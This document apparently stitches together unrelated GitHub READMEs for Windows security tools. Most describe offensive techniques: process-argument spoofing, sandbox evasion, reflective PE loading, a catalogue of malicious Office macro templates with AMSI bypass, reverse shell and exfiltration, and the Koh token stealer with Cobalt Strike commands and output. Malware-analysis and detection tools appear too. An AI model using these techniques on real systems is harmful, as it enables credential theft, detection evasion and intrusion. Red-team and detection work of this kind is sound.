NoArgs is a tool designed to dynamically spoof and conceal process arguments while staying undetected. It achieves this by hooking into Windows APIs to dynamically manipulate the Windows internals on the go. This allows NoArgs to alter process arguments discreetly.
The tool primarily operates by intercepting process creation calls made by the Windows API function CreateProcessW
. When a process is initiated, this function is responsible for spawning the new process, along with any specified command-line arguments. The tool intervenes in this process creation flow, ensuring that the arguments are either hidden or manipulated before the new process is launched.
Hooking into CreateProcessW
is achieved through Detours, a popular library for intercepting and redirecting Win32 API functions. Detours allows for the redirection of function calls to custom implementations while preserving the original functionality. By hooking into CreateProcessW
, the tool is able to intercept the process creation requests and execute its custom logic before allowing the process to be spawned.
The Process Environment Block (PEB) is a data structure utilized by Windows to store information about a process's environment and execution state. The tool leverages the PEB to manipulate the command-line arguments of the newly created processes. By modifying the command-line information stored within the PEB, the tool can alter or conceal the arguments passed to the process.
Process Hacker View:
Process Monitor View:
Injection into Command Prompt (cmd): The tool injects its code into the Command Prompt process, embedding it as Position Independent Code (PIC). This enables seamless integration into cmd's memory space, ensuring covert operation without reliance on specific memory addresses. (Only for The Obfuscated Executable in the releases page)
Windows API Hooking: Detours are utilized to intercept calls to the CreateProcessW
function. By redirecting the execution flow to a custom implementation, the tool can execute its logic before the original Windows API function.
Custom Process Creation Function: Upon intercepting a CreateProcessW
call, the custom function is executed, creating the new process and manipulating its arguments as necessary.
PEB Modification: Within the custom process creation function, the Process Environment Block (PEB) of the newly created process is accessed and modified to achieve the goal of manipulating or hiding the process arguments.
Execution Redirection: Upon completion of the manipulations, the execution seamlessly returns to Command Prompt (cmd) without any interruptions. This dynamic redirection ensures that subsequent commands entered undergo manipulation discreetly, evading detection and logging mechanisms that relay on getting the process details from the PEB.
Option 1: Compile NoArgs DLL:
You will need microsoft/Detours">Microsoft Detours installed.
Compile the DLL.
Option 2: Download the compiled executable (ready-to-go) from the releases page.
WinDiff is an open-source web-based tool that allows browsing and comparing symbol, type and syscall information of Microsoft Windows binaries across different versions of the operating system. The binary database is automatically updated to include information from the latest Windows updates (including Insider Preview).
It was inspired by ntdiff and made possible with the help of Winbindex.
WinDiff is made of two parts: a CLI tool written in Rust and a web frontend written in TypeScript using the Next.js framework.
The CLI tool is used to generate compressed JSON databases out of a configuration file and relies on Winbindex
to find and download the required PEs (and PDBs). Types are reconstructed using resym
. The idea behind the CLI tool is to be able to easily update and regenerate databases as new versions of Windows are released. The CLI tool's code is in the windiff_cli
directory.
The frontend is used to visualize the data generated by the CLI tool, in a user-friendly way. The frontend follows the same principle as ntdiff
, as it allows browsing information extracted from official Microsoft PEs and PDBs for certain versions of Microsoft Windows and also allows comparing this information between versions. The frontend's code is in the windiff_frontend
directory.
A scheduled GitHub action fetches new updates from Winbindex
every day and updates the configuration file used to generate the live version of WinDiff. Currently, because of (free plans) storage and compute limitations, only KB and Insider Preview updates less than one year old are kept for the live version. You can of course rebuild a local version of WinDiff yourself, without those limitations if you need to. See the next section for that.
Note: Winbindex
doesn't provide unique download links for 100% of the indexed files, so it might happen that some PEs' information are unavailable in WinDiff because of that. However, as soon as these PEs are on VirusTotal, Winbindex
will be able to provide unique download links for them and they will then be integrated into WinDiff automatically.
The full build of WinDiff is "self-documented" in ci/build_frontend.sh
, which is the build script used to build the live version of WinDiff. Here's what's inside:
# Resolve the project's root folder
PROJECT_ROOT=$(git rev-parse --show-toplevel)
# Generate databases
cd "$PROJECT_ROOT/windiff_cli"
cargo run --release "$PROJECT_ROOT/ci/db_configuration.json" "$PROJECT_ROOT/windiff_frontend/public/"
# Build the frontend
cd "$PROJECT_ROOT/windiff_frontend"
npm ci
npm run build
The configuration file used to generate the data for the live version of WinDiff is located here: ci/db_configuration.json
, but you can customize it or use your own. PRs aimed at adding new binaries to track in the live configuration are welcome.
Handle hijacking is a technique used in Windows operating systems to gain access to resources and resources of a system without permission. It is a type of privilege escalation attack in which a malicious user takes control of an object handle, which is an identifier that is used to reference a system object, such as a file, a directory, a process, or an event. This allows the malicious user to gain access to resources that should be inaccessible to them.
Handle hijacking is a serious threat to system security as it allows a malicious user to access resources and data that should otherwise be protected. It can also be used to inject code into a vulnerable system, allowing the attacker to gain access to information and resources.
Handle hijacking techniques are becoming increasingly prevalent as hackers develop more sophisticated methods of exploiting vulnerabilities in Windows systems. As such, it is important that system administrators understand the risks associated with handle hijacking and take proactive measures to protect their systems.
To perform a handle hijacking attack, an attacker must first identify a handle that is being used by a legitimate process and that they want to access. This can be done using various techniques, such as scanning the handle table of a process, monitoring handle creation events, or using a tool that can enumerate handles on the system ,Once the attacker has identified the handle they want to access, they can use the DuplicateHandle
function to create a copy of the handle with their own process. This function takes the following parameters:
hSourceProcessHandle
: A handle to the process that contains the source handle.hSourceHandle
: A handle to the object to duplicate.hTargetProcessHandle
: A handle to the process that is to receive the duplicated handle.lpTargetHandle
: A pointer to a variable that receives the handle value.dwDesiredAccess
: The access rights for the duplicated handle.bInheritHandle
: A value that specifies whether the handle is inheritable.dwOptions
: Additional options for the handle duplication.The DuplicateHandle
function will create a new handle with the specified access rights and options, and return it in the lpTargetHandle
parameter. The attacker can then use this handle to access the resource that it represents, allowing them to perform actions on the resource that they would not normally be able to do.
C2-Hunter is a program designed for malware analysts to extract Command and Control (C2) traffic from malwares in real-time. The program uses a unique approach by hooking into win32 connections APIs.
With C2-Hunter, malware analysts can now intercept and analyze communication in real-time, gaining valuable insights into the inner workings of cyber threats. Its ability to track C2 elements of malware makes it an essential tool for any cyber security team.
Sandboxes are commonly used to analyze malware. They provide a temporary, isolated, and secure environment in which to observe whether a suspicious file exhibits any malicious behavior. However, malware developers have also developed methods to evade sandboxes and analysis environments. One such method is to perform checks to determine whether the machine the malware is being executed on is being operated by a real user. One such check is the RAM size. If the RAM size is unrealistically small (e.g., 1GB), it may indicate that the machine is a sandbox. If the malware detects a sandbox, it will not execute its true malicious behavior and may appear to be a benign file
The GetPhysicallyInstalledSystemMemory
API retrieves the amount of RAM that is physically installed on the computer from the SMBIOS firmware tables. It takes a PULONGLONG
parameter and returns TRUE
if the function succeeds, setting the TotalMemoryInKilobytes
to a nonzero value. If the function fails, it returns FALSE
.
The amount of physical memory retrieved by the GetPhysicallyInstalledSystemMemory
function must be equal to or greater than the amount reported by the GlobalMemoryStatusEx
function; if it is less, the SMBIOS data is malformed and the function fails with ERROR_INVALID_DATA
, Malformed SMBIOS data may indicate a problem with the user's computer .
The register rcx
holds the parameter TotalMemoryInKilobytes
. To overwrite the jump address of GetPhysicallyInstalledSystemMemory
, I use the following opcodes: mov qword ptr ss:[rcx],4193B840
. This moves the value 4193B840
(or 1.1 TB) to rcx
. Then, the ret instruction is used to pop the return address off the stack and jump to it, Therefore, whenever GetPhysicallyInstalledSystemMemory
is called, it will set rcx
to the custom value."
MSI Dump - a tool that analyzes malicious MSI installation packages, extracts files, streams, binary data and incorporates YARA scanner.
On Macro-enabled Office documents we can quickly use oletools mraptor to determine whether document is malicious. If we want to dissect it further, we could bring in oletools olevba or oledump.
To dissect malicious MSI files, so far we had only one, but reliable and trustworthy lessmsi. However, lessmsi
doesn't implement features I was looking for:
Hence this is where msidump
comes into play.
This tool helps in quick triages as well as detailed examinations of malicious MSIs corpora. It lets us:
file
/MIME type deduction to determine inner data typeIt was created as a companion tool to the blog post I released here:
WindowsInstaller.Installer
interfaces, currently it is not possible to support native Linux platforms. Maybe wine python msidump.py
could help, but haven't tried that yet.cmd> python msidump.py evil.msi -y rules.yara
Here we can see that input MSI is injected with suspicious VBScript and contains numerous executables in it.
We see from the triage table that it was present in Binary
table. Lets get him:
python msidump.py putty-backdoored.msi -l binary -i UBXtHArj
We can specify which to record dump either by its name/ID or its index number (here that would be 7).
Lets have a look at another example. This time there is executable stored in Binary
table that will be executed during installation:
To extract that file we're gonna go with
python msidump.py evil2.msi -x binary -i lmskBju -O extracted
Where
-x binary
tells to extract contents of Binary
table-i lmskBju
specifies which record exactly to extract-O extracted
sets output directoryFor the best output experience, run the tool on a maximized console window or redirect output to file:
python msidump.py [...] -o analysis.log
PS D:\> python .\msidump.py --help
options:
-h, --help show this help message and exit
Required arguments:
infile Input MSI file (or directory) for analysis.
Options:
-q, --quiet Surpress banner and unnecessary information. In triage mode, will display only verdict.
-v, --verbose Verbose mode.
-d, --debug Debug mode.
-N, --nocolor Dont use colors in text output.
-n PRINT_LEN, --print-len PRINT_LEN
When previewing data - how many bytes to include in preview/hexdump. Default: 128
-f {text,json,csv}, --format {text,json,csv}
Output format: text, json, csv. Default: text
-o path, --outfile path
Redirect program output to this file.
-m, --mime When sniffing inner data type, report MIME types
Analysis Modes:
-l what, --list what List specific table contents. See help message to learn what can be listed.
-x what, --extract what
Extract data from MSI. For what can be extracted, refer to help message.
Analysis Specific options:
-i number|name, --record number|name
Can be a number or name. In --list mode, specifies which record to dump/display entirely. In --extract mode dumps only this particular record to --outdir
-O path, --outdir path
When --extract mode is used, specifies output location where to extract data.
-y path, --yara path Path to YARA rule/directory with rules. YARA will be matched against Binary data, streams and inner files
------------------------------------------------------
- What can be listed:
--list CustomAction - Specific table
--lis t Registry,File - List multiple tables
--list stats - Print MSI database statistics
--list all - All tables and their contents
--list olestream - Prints all OLE streams & storages.
To display CABs embedded in MSI try: --list _Streams
--list cabs - Lists embedded CAB files
--list binary - Lists binary data embedded in MSI for its own purposes.
That typically includes EXEs, DLLs, VBS/JS scripts, etc
- What can be extracted:
--extract all - Extracts Binary data, all files from CABs, scripts from CustomActions
--extract binary - Extracts Binary data
--extract files - Extracts files
--extract cabs - Extracts cabinets
--extract scripts - Extrac ts scripts
------------------------------------------------------
CustomAction Type
s based on assessing their numbers, which is prone to being evaded. Apparently when naming my tool, I didn't think on checking whether it was already taken. There is another tool named msidump
being part of msitools GNU package:
This and other projects are outcome of sleepless nights and plenty of hard work. If you like what I do and appreciate that I always give back to the community, Consider buying me a coffee (or better a beer) just to say thank you!
Mariusz Banach / mgeeky, (@mariuszbit)
<mb [at] binary-offensive.com>
A project created with an aim to emulate and test exfiltration of data over different network protocols. The emulation is performed w/o the usage of native API's. This will help blue teams write correlation rules to detect any type of C2 communication or data exfiltration.
Currently, this project can help generate HTTP/HTTPS traffic (both GET and POST) using the below metioned progamming/scripting languages:
Download the latest ZIP from realease.
With SSl: python3 HTTP-S-EXFIL.py ssl
Without SSL: python3 HTTP-S-EXFIL.py
CNet.exe <Server-IP-ADDRESS>
- Select any optionChashNet.exe <Server-IP-ADDRESS>
- Select any option.\PowerHttp.ps1 -ip <Server-IP-ADDRESS> -port <80/443> -method <GET/POST>
A Nim implementation of reflective PE-Loading from memory. The base for this code was taken from RunPE-In-Memory - which I ported to Nim.
You'll need to install the following dependencies:
nimble install ptr_math winim
I did test this with Nim Version 1.6.2 only, so use that version for testing or I cannot guarantee no errors when using another version.
If you want to pass arguments on runtime or don't want to pass arguments at all compile via:
nim c NimRunPE.nim
If you want to hardcode custom arguments modify const exeArgs
to your needs and compile with:
nim c -d:args NimRunPE.nim
- this was contributed by @glynx, thanks!
The technique itself it pretty old, but I didn't find a Nim implementation yet. So this has changed now. :)
If you plan to load e.g. Mimikatz with this technique - make sure to compile a version from source on your own, as the release binaries don't accept arguments after being loaded reflectively by this loader. Why? I really don't know it's strange but a fact. If you compile on your own it will still work:
Β
My private Packer is also weaponized with this technique - but all Win32 functions are replaced with Syscalls there. That makes the technique stealthier.
Hunt & Hackett presents a set of tools and technical write-ups describing attacking techniques that rely on concealing code execution on Windows. Here you will find explanations of how these techniques work, receive advice on detection, and get sample source code for testing your detection coverage.
This repository covers two classes of attacking techniques that extensively use internal Windows mechanisms plus provides suggestions and tools for detecting them:
The core values of the project:
One final distinctive feature of this project is the extensive use of Native API throughout the samples. Here is the motivation for this choice:
The sample code uses the Native API headers provided by the PHNT project. Make sure to clone the repository using the git clone --recurse-submodules
command to fetch this dependency. Alternatively, you can use git submodule update --init
after cloning the repository.
To build the projects included with the repository, you will need a recent version of Windows SDK. If you use Visual Studio, please refer to the built-in SDK installation. Alternatively, you can also use the standalone build environment of EWDK. To compile all tools at once, use MSBuild AllTools.sln /t:build /p:configuration=Release /p:platform=x64
.
In preparation for a VBS AV Evasion Stream/Video I was doing some research for Office Macro code execution methods and evasion techniques.
The list got longer and longer and I found no central place for offensive VBA templates - so this repo can be used for such. It is very far away from being complete. If you know any other cool technique or useful template feel free to contribute and create a pull request!
Most of the templates in this repo were already published somewhere. I just copy pasted most templates from ms-docs sites, blog posts or from other tools.
File | Description |
---|---|
ShellApplication_ShellExecute.vba | Execute an OS command via ShellApplication object and ShellExecute method |
ShellApplication_ShellExecute_privileged.vba | Execute an privileged OS command via ShellApplication object and ShellExecute method - UAC prompt |
Shellcode_CreateThread.vba | Execute shellcode in the current process via Win32 CreateThread |
Shellcode_EnumChildWindowsCallback.vba | Execute shellcode in the current process via EnumChildWindows |
Win32_CreateProcess.vba | Create a new process for code execution via Win32 CreateProcess function |
Win32_ShellExecute.vba | Create a new process for code execution via Win32 ShellExecute function |
WMI_Process_Create.vba | Create a new process via WMI for code execution |
WMI_Process_Create2.vba | Another WMI code execution example |
WscriptShell_Exec.vba | Execute an OS command via WscriptShell object and Exec method |
WscriptShell_run.vba | Execute an OS command via WscriptShell object and Run method |
VBA-RunPE | @itm4n's RunPE technique in VBA |
GadgetToJScript | med0x2e's C# script for generating .NET serialized gadgets that can trigger .NET assembly load/execution when deserialized using BinaryFormatter from JS/VBS/VBA based scripts. |
PPID_Spoof.vba | christophetd's spoofing-office-macro copy |
AMSIBypass_AmsiScanBuffer_ordinal.vba | rmdavy's AMSI Bypass to patch AmsiScanBuffer using ordinal values for a signature bypass |
AMSIBypass_AmsiScanBuffer_Classic.vba | rasta-mouse's classic AmsiScanBuffer patch |
AMSIBypass_Heap.vba | rmdavy's HeapsOfFun repo copy |
AMSIbypasses.vba | outflanknl's AMSI bypass blog |
COMHijack_DLL_Load.vba | Load DLL via COM Hijacking |
COM_Process_create.vba | Create process via COM object |
Download_Autostart.vba | Download a file from a remote webserver and put it into the StartUp folder |
Download_Autostart_WinAPI.vba | Download a file from a remote webserver via URLDownloadtoFileA and put it into the StartUp folder |
Dropper_Autostart.vba | Drop batch file into the StartUp folder |
Registry_Persist_wmi.vba | Create StartUp registry key for persistence via WMI |
Registry_Persist_wscript.vba | Create StartUp registry key for persistence via wscript object |
ScheduledTask_Create.vba | Create and start sheduled task for code execution/persistence |
XMLDOM_Load_XSL_Process_create.vba | Load XSL from a remote webserver to execute code |
regsvr32_sct_DownloadExecute.vba | Execute regsvr32 to download a remote webservers SCT file for code execution |
BlockETW.vba | Patch EtwEventWrite in ntdll.dll to block ETW data collection |
BlockETW_COMPLUS_ETWEnabled_ENV.vba | Block ETW data collection by setting the environment variable COMPLUS_ETWEnabled to 0, credit to @xpn |
ShellWindows_Process_create.vba | ShellWindows Process create to get explorer.exe as parent process |
AES.vba | An example to use AES encryption/decryption in VBA from Here |
Dropper_Executable_Autostart.vba | Get executable bytes from VBA and drop into Autostart - no download in this case |
MarauderDrop.vba | Drop a COM registered .NET DLL into temp, import the function and execute code - in this case loads a remote C# binary from a webserver to memory and executes it - credit to @Jean_Maes_1994 for MaraudersMap |
Dropper_Workfolders_lolbas_Execute.vba | Drop an embedded executable into the TEMP directory and execute it using C:\windows\system32\Workfolders.exe as LOLBAS - credit to @YoSignals |
SandBoxEvasion | Some SandBox Evasion templates |
Evasion Dropper Autostart.vba | Drops a file to the Startup directory bypassing file write monitoring via renamed folder operation |
Evasion MsiInstallProduct.vba | Installs a remote MSI package using WindowsInstaller ActiveXObject avoiding spawning suspicious office child process, the msi installation will be executed as a child of the MSIEXEC /V service
|
StealNetNTLMv2.vba | Steal NetNTLMv2 Hash via share connection - credit to https://book.hacktricks.xyz/windows/ntlm/places-to-steal-ntlm-creds |
Parse-Outlook.vba | Parses Outlook for sensitive keywords and file extensions, and exfils them via email - credit to JohnWoodman |
Reverse-Shell.vba | Reverse shell written entirely in VBA using Windows API calls - credit to JohnWoodman |
File | Description |
---|---|
Unhooker.vba | Unhook API's in memory to get rid of hooks |
Syscalls.vba | Syscall usage - fresh from disk or Syswhispers like |
Manymore.vba | If you have any more ideas feel free to contribute |
ASR bypass: http://blog.sevagas.com/IMG/pdf/bypass_windows_defender_attack_surface_reduction.pdf
Shellcode to VBScript conversion: https://github.com/DidierStevens/DidierStevensSuite/blob/master/shellcode2vbscript.py
Bypass AMSI in VBA: https://outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/
VBA purging: https://www.mandiant.com/resources/purgalicious-vba-macro-obfuscation-with-vba-purging
F-Secure VBA Evasion and detection post: https://blog.f-secure.com/dechaining-macros-and-evading-edr/
One more F-Secure blog: https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/
Koh is a C# and Beacon Object File (BOF) toolset that allows for the capture of user credential material via purposeful token/logon session leakage.
Some code was inspired by Elad Shamir's Internal-Monologue project (no license), as well as KB180548. For why this is possible and Koh's approeach, see the Technical Background section of this README.
For a deeper explanation of the motivation behind Koh and its approach, see the Koh: The Token Stealer post.
@harmj0y is the primary author of this code base. @tifkin_ helped with the approach, BOF implementation, and some token mechanics.
Koh is licensed under the BSD 3-Clause license.
The Koh "server" captures tokens and uses named pipes for control/communication. This can be wrapped in Donut and injected into any high-integrity SYSTEM process (see The Inline Shenanigans Bug).
We are not planning on releasing binaries for Koh, so you will have to compile yourself :)
Koh has been built against .NET 4.7.2 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose "Release", and build. The Koh.exe
assembly and Koh.bin
Donut-built PIC will be output to the main directory. The Donut blob is both x86/x64 compatible, and is built with the following options using v0.9.3 of Donut at ./Misc/Donut.exe
:
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
Donut's license is BSD 3-clause.
Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]
Group SIDs can be supplied command line as well, causing Koh to monitor/capture only logon sessions that contain the specified group SIDs in their negotiated token information.
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
Only lists results that have the domain admins (-512) group SID in their token information:
C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs:
S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM
UserName : THESHIRE\DA
LUID : 81492608
Lo gonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
The current usable client is a Beacon Object File at .\Clients\BOF\
. Load the .\Clients\BOF\KohClient.cna
aggressor script in your Cobalt Strike client to enable BOF control of the Koh server. The only requirement for using captured tokens is SeImpersonatePrivilege. The communication named pipe has an "Everyone" DACL but uses a basic shared password (super securez).
To compile fresh on Linux using Mingw, see the .\Clients\BOF\build.sh
script. The only requirement (on Debian at least) should be apt-get install gcc-mingw-w64
beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit
The koh filter add S-1-5-21-<DOMAIN>-<RID>
command will only capture tokens that contain the supplied group SID. This command can be run multiple times to add additional SIDs for capture. This can help prevent possible stability issues due to a large number of token leaks.
"Captures" logon sessions by negotiating usable tokens for each new session.
Server:
C:\Temp>Koh.exe capture
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: capture
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:53:01 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Credential UserName : testuser@THESHIRE.LOCAL
Origin LUID : 1677733 (0x1999a5)
[*] Successfully negotiated a token for LUID 207990196 (hToken: 848)
[*] New Logon Session - 6/22/2022 2:53:01 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Credential UserName : da@THESHIRE.LOCAL
Origin LUID : 1677765 (0x1999c5)
[*] Successfully negotiated a token for LUID 81492692 (hToken: 976)
[*] New Logon Session - 6/22/2022 2:53:01 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Credential UserName : harmj0y@THESHIRE.LOCAL
Origin LUID : 999 (0x3e7)
[*] Successfully negotiated a token for LUID 1677733 (hToken: 980)
BOF client:
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
Username : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID : 67556826
CaptureTime : 6/21/2022 1:24:42 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : localadmin@THESHIRE.LOCAL
Origin LUID : 1676720
Username : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID : 67568439
CaptureTime : 6/21/2022 1:24:50 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : da@THESHIRE.LOCAL
Origin LUID : 1677765
Username : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID : 1677733
CaptureTime : 6/21/2022 1:23:10 PM
LogonType : Interactive
AuthPackage : Kerberos
CredUserName : harmj0y@THESHIRE.LOCAL
Origin LUID : 999
beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572
beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
[*] Enabled SeImpersonatePrivilege
[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost
[+] received output:
[*] Impersonation succeeded. Duplicating token.
[+] received output:
[*] Impersonated token successfully duplicated.
[+] Impersonated THESHIRE\da
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Volume in drive \\dc.theshire.local\C$ has no label.
Volume Serial Number is A4FF-7240
Directory of \\dc.theshire.local\C$
01/04/2021 11:43 AM <DIR> inetpub
05/30/2019 03:08 PM <DIR> Pe rfLogs
05/18/2022 01:27 PM <DIR> Program Files
04/15/2021 09:44 AM <DIR> Program Files (x86)
03/20/2020 12:28 PM <DIR> RBFG
10/20/2021 01:14 PM <DIR> Temp
05/23/2022 06:30 PM <DIR> tools
03/11/2022 04:10 PM <DIR> Users
06/21/2022 01:30 PM <DIR> Windows
0 File(s) 0 bytes
9 Dir(s) 40,504,201,216 bytes free
When a new logon session is estabslished on a system, a new token for the logon session is created by LSASS using the NtCreateToken() API call and returned by the caller of LsaLogonUser(). This increases the ReferenceCount field of the logon session kernel structure. When this ReferenceCount reaches 0, the logon session is destroyed. Because of the information described in the Why This Is Possible section, Windows systems will NOT release a logon session if a token handle still exists to it (and therefore the reference count != 0).
So if we can get a handle to a newly created logon session via a token, we can keep that logon session open and later impersonate that token to utilize any cached credentials it contains.
According to this post by a Microsoft engineer:
After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.
MS16-111 was applied back to Windows 7/Server 2008, so this approach should be effective for everything except Server 2003 systems.
Enumerating logon sessions is easy (from an elevated context) through the use of the LsaEnumerateLogonSessions() Win32 API. What is more difficult is taking a specific logon session identifier (LUID) and somehow getting a usable token linked to that session.
We brainstormed a few ways to a) hold open logon sessions and b) abuse this for token impersonation/use of cached credentials.
The SSPI AcquireCredentialsHandle() call has a pvLogonID field which states:
A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors.
Note: In order to utilize a logon session LUID with AcquireCredentialsHandle() you need SeTcbPrivilege, however this is usually easier to get than SeCreateTokenPrivilege.
Using this call while specifying a logon session ID/LUID appears to increase the ReferenceCount for the logon session structure, preventing it from being released. However, we're not presented with another problem: given a "leaked"/held open logon session, how do we get a usable token from it? WTSQueryUserToken() only works with desktop sessions, and there's no userland API that we could find that lets you map a LUID to a usable token.
However we can use two additional SSPI functions, InitializeSecurityContext() and AcceptSecurityContext() to act as client and server to ourselves, negotiating a new security context that we can then use with QuerySecurityContextToken() to get a usable token. This was documented in KB180548 (mirrored by PKISolutions here) for the purposes of credential validation. This is a similar approach to Internal-Monologue, except we are completing the entire handshake process, producing a token, and then holding that for later use.
Filtering can then be done on the token itself, via CheckTokenMembership() or GetTokenInformation(). For example, we could release any tokens except for ones belonging to domain admins, or specific groups we want to target.
I've been coding for a decent amount of time. This is one of the weirder and frustrating-to-track-down bugs I've hit in a while - please help me with this lol.
When the Koh.exe assembly is run from an elevated (but non-SYSTEM) context, everything works properly.
If the Koh.exe assembly is run via Cobalt Strike's Beacon fork&run process with execute-assembly
from an elevated (but non-SYSTEM) context, everything works properly.
If the Koh.exe assembly is run inline (via InlineExecute-Assembly or Inject-Assembly) for a Cobalt Strike Beacon that's running in a SYSTEM context, everything works properly.
However If the Koh.exe assembly is run inline (via InlineExecute-Assembly or Inject-Assembly) for a Cobalt Strike Beacon that's running in an elevated, but not SYSTEM, context, the call to AcquireCredentialsHandle() fails with SEC_E_NO_CREDENTIALS
and everything fails Β―\_(γ)_/Β―
We have tried (with no success):
For all intents and purposes, the thread context right before the call to AcquireCredentialsHandle works in this context, but the result errors out. And we have no idea why.
If you have an idea of what this might be, please let us know! And if you want to try playing around with a simpler assembly, check out the AcquireCredentialsHandle repo on my GitHub for troubleshooting.
To quote @tifkin_ "Everything is stealthy until someone is looking for it." While Koh's approach is slightly different than others, there are still IOCs that can be used to detect it.
The unique TypeLib GUID for the C# Koh collector is 4d5350c8-7f8c-47cf-8cde-c752018af17e
as detailed in the Koh.yar Yara rule in this repo. If this is not changed on compilation, it should be a very high fidelity indicator of the Koh server.
When the Koh server starts is opens up a named pipe called \\.\pipe\imposecost
that stays open as long as Koh is running. The default password used for Koh communication is password
, so sending password list
to any \\.\pipe\imposecost
pipe will let you confirm if Koh is indeed running. The default impersonation pipe used is \\.pipe\imposingcost
.
If Koh starts in an elevated context but not as SYSTEM, a handle/token clone of winlogon
is performed to perform a getsystem
type elevation.
I'm sure that no attackers will change the indicators mentioned above.
There are likely some RPC artifacts for the token capture that we're hoping to investigate. We will update this section of the README if we find any additional detection artifacts along these lines. Hooking of some of the possibly-uncommon APIs used by Koh (LsaEnumerateLogonSessions or the specific AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext, specifically using a LUID in AcquireCredentialsHandle) could be explored for effectiveness, but alas, I am not an EDR.